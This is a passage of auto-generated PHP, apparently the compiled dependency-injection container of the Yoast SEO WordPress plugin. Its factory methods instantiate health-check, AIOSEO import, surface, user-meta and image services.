        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Check(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports'] : $this->getPostnamePermalinkReportsService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Reports' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Reports
     */
    protected function getPostnamePermalinkReportsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Reports(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] : ($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner
     */
    protected function getPostnamePermalinkRunnerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner'] = new \Yoast\WP\SEO\Services\Health_Check\Postname_Permalink_Runner();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Report_Builder' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Report_Builder
     */
    protected function getReportBuilderService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory
     */
    protected function getReportBuilderFactoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory'] = new \Yoast\WP\SEO\Services\Health_Check\Report_Builder_Factory();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service
     */
    protected function getAioseoReplacevarServiceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Replacevar_Service();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service
     */
    protected function getAioseoRobotsProviderServiceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Provider_Service(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service
     */
    protected function getAioseoRobotsTransformerServiceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Robots_Transformer_Service(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service'] : $this->getAioseoRobotsProviderServiceService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service
     */
    protected function getAioseoSocialImagesProviderServiceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service'] = new \Yoast\WP\SEO\Services\Importing\Aioseo\Aioseo_Social_Images_Provider_Service(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper'] : $this->getAioseoHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service
     */
    protected function getConflictingPluginsServiceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service'] = new \Yoast\WP\SEO\Services\Importing\Conflicting_Plugins_Service();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Importing\Importable_Detector_Service' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Importing\Importable_Detector_Service
     */
    protected function getImportableDetectorServiceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] = new \Yoast\WP\SEO\Services\Importing\Importable_Detector_Service(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action'] : $this->getAioseoCleanupActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action'] : $this->getAioseoCustomArchiveSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action'] : $this->getAioseoDefaultArchiveSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action'] : $this->getAioseoGeneralSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action'] : $this->getAioseoPostsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action'] : $this->getAioseoPosttypeDefaultsSettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action'] : $this->getAioseoTaxonomySettingsImportingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action'] : $this->getAioseoValidateDataActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action'] : $this->getDeactivateConflictingPluginsActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager
     */
    protected function getIndexableVersionManagerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager'] = new \Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager(${($_ = isset($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions']) ? $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] : ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Surfaces\Classes_Surface' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Surfaces\Classes_Surface
     */
    protected function getClassesSurfaceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Surfaces\\Classes_Surface'] = new \Yoast\WP\SEO\Surfaces\Classes_Surface($this);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Surfaces\Helpers_Surface' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Surfaces\Helpers_Surface
     */
    protected function getHelpersSurfaceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Helpers_Surface($this, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface'] : ($this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface($this))) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface'] : ($this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface($this))) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface']) ? $this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface'] : ($this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface($this))) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Surfaces\Meta_Surface' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Surfaces\Meta_Surface
     */
    protected function getMetaSurfaceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Surfaces\\Meta_Surface'] = new \Yoast\WP\SEO\Surfaces\Meta_Surface($this, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer']) ? $this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] : $this->getMetaTagsContextMemoizerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper']) ? $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] : ($this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface
     */
    protected function getOpenGraphHelpersSurfaceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Open_Graph_Helpers_Surface($this);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface
     */
    protected function getSchemaHelpersSurfaceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Schema_Helpers_Surface($this);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface
     */
    protected function getTwitterHelpersSurfaceService()
    {
        return $this->services['Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface'] = new \Yoast\WP\SEO\Surfaces\Twitter_Helpers_Surface($this);
    }

    /**
     * Gets the public 'Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector' shared autowired service.
     *
     * @return \Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector
     */
    protected function getAdditionalContactmethodsCollectorService()
    {
        return $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector'] = new \Yoast\WP\SEO\User_Meta\Application\Additional_Contactmethods_Collector(new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Facebook(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Instagram(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Linkedin(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Myspace(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Pinterest(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Soundcloud(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Tumblr(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Wikipedia(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\X(), new \Yoast\WP\SEO\User_Meta\Framework\Additional_Contactmethods\Youtube());
    }

    /**
     * Gets the public 'Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector' shared autowired service.
     *
     * @return \Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector
     */
    protected function getCustomMetaCollectorService()
    {
        $a = ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'};

        return $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector'] = new \Yoast\WP\SEO\User_Meta\Application\Custom_Meta_Collector(new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Author_Metadesc($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Author_Title($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Content_Analysis_Disable($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Inclusive_Language_Analysis_Disable($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Keyword_Analysis_Disable($a), new \Yoast\WP\SEO\User_Meta\Framework\Custom_Meta\Noindex_Author($a));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\User_Meta\User_Interface\Additional_Contactmethods_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\User_Meta\User_Interface\Additional_Contactmethods_Integration
     */
    protected function getAdditionalContactmethodsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration'] = new \Yoast\WP\SEO\User_Meta\User_Interface\Additional_Contactmethods_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector']) ? $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector'] : $this->getAdditionalContactmethodsCollectorService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\User_Meta\User_Interface\Cleanup_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\User_Meta\User_Interface\Cleanup_Integration
     */
    protected function getCleanupIntegration2Service()
    {
        return $this->services['Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration'] = new \Yoast\WP\SEO\User_Meta\User_Interface\Cleanup_Integration(new \Yoast\WP\SEO\User_Meta\Application\Cleanup_Service(${($_ = isset($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector']) ? $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector'] : $this->getAdditionalContactmethodsCollectorService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector']) ? $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector'] : $this->getCustomMetaCollectorService()) && false ?: '_'}, new \Yoast\WP\SEO\User_Meta\Infrastructure\Cleanup_Repository()));
    }

    /**
     * Gets the public 'Yoast\WP\SEO\User_Meta\User_Interface\Custom_Meta_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\User_Meta\User_Interface\Custom_Meta_Integration
     */
    protected function getCustomMetaIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration'] = new \Yoast\WP\SEO\User_Meta\User_Interface\Custom_Meta_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector']) ? $this->services['Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector'] : $this->getCustomMetaCollectorService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\User_Profiles_Additions\User_Interface\User_Profiles_Additions_Ui' shared autowired service.
     *
     * @return \Yoast\WP\SEO\User_Profiles_Additions\User_Interface\User_Profiles_Additions_Ui
     */
    protected function getUserProfilesAdditionsUiService()
    {
        return $this->services['Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui'] = new \Yoast\WP\SEO\User_Profiles_Additions\User_Interface\User_Profiles_Additions_Ui(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Values\Images' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Values\Images
     */
    protected function getImagesService()
    {
        return $this->services['Yoast\\WP\\SEO\\Values\\Images'] = new \Yoast\WP\SEO\Values\Images(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions
     */
    protected function getIndexableBuilderVersionsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Values\Open_Graph\Images' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Values\Open_Graph\Images
     */
    protected function getImages2Service()
    {
        $this->services['Yoast\\WP\\SEO\\Values\\Open_Graph\\Images'] = $instance = new \Yoast\WP\SEO\Values\Open_Graph\Images(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'});

        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] : $this->getImageHelper2Service()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Values\Twitter\Images' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Values\Twitter\Images
     */
    protected function getImages3Service()
    {
        $this->services['Yoast\\WP\\SEO\\Values\\Twitter\\Images'] = $instance = new \Yoast\WP\SEO\Values\Twitter\Images(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] : $this->getImageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())) && false ?: '_'});

        $instance->set_helpers(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] : $this->getImageHelper4Service()) && false ?: '_'});

        return $instance;
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Wrappers\WP_Query_Wrapper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper
     */
    protected function getWPQueryWrapperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Query_Wrapper();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Wrappers\WP_Remote_Handler' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Wrappers\WP_Remote_Handler
     */
    protected function getWPRemoteHandlerService()
    {
        return $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler'] = new \Yoast\WP\SEO\Wrappers\WP_Remote_Handler();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper
     */
    protected function getWPRewriteWrapperService()
    {
        return $this->services['Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper'] = new \Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper();
    }

    /**
     * Gets the public 'Yoast_Notification_Center' shared service.
     *
     * @return \Yoast_Notification_Center
     */
    protected function getYoastNotificationCenterService()
    {
        return $this->services['Yoast_Notification_Center'] = \Yoast_Notification_Center::get();
    }

    /**
     * Gets the public 'wpdb' shared service.
     *
     * @return \wpdb
     */
    protected function getWpdbService()
    {
        return $this->services['wpdb'] = \Yoast\WP\SEO\WordPress\Wrapper::get_wpdb();
    }

    /**
     * Gets the private 'Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications
     */
    protected function getContentTypeVisibilityDismissNotificationsService()
    {
        return $this->services['Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications'] = new \Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the private 'Yoast\WP\SEO\Dashboard\Application\Score_Results\Current_Scores_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Dashboard\Application\Score_Results\Current_Scores_Repository
     */
    protected function getCurrentScoresRepositoryService()
    {
        return $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository'] = new \Yoast\WP\SEO\Dashboard\Application\Score_Results\Current_Scores_Repository(new \Yoast\WP\SEO\Dashboard\Infrastructure\Score_Groups\Score_Group_Link_Collector());
    }

    /**
     * Gets the private 'Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository
     */
    protected function getTaxonomiesRepositoryService()
    {
        $a = new \Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomies_Collector(new \Yoast\WP\SEO\Dashboard\Infrastructure\Taxonomies\Taxonomy_Validator());

        return $this->services['Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository'] = new \Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository($a, new \Yoast\WP\SEO\Dashboard\Application\Filter_Pairs\Filter_Pairs_Repository($a, new \Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs\Product_Category_Filter_Pair()));
    }

    /**
     * Gets the private 'Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector
     */
    protected function getContentTypesCollectorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector'] = new \Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'});
    }

    /**
     * Gets the private 'Yoast\WP\SEO\Introductions\Application\Introductions_Collector' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Introductions\Application\Introductions_Collector
     */
    protected function getIntroductionsCollectorService()
    {
        return $this->services['Yoast\\WP\\SEO\\Introductions\\Application\\Introductions_Collector'] = new \Yoast\WP\SEO\Introductions\Application\Introductions_Collector(new \Yoast\WP\SEO\Introductions\Application\Ai_Fix_Assessments_Upsell(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}));
    }
}
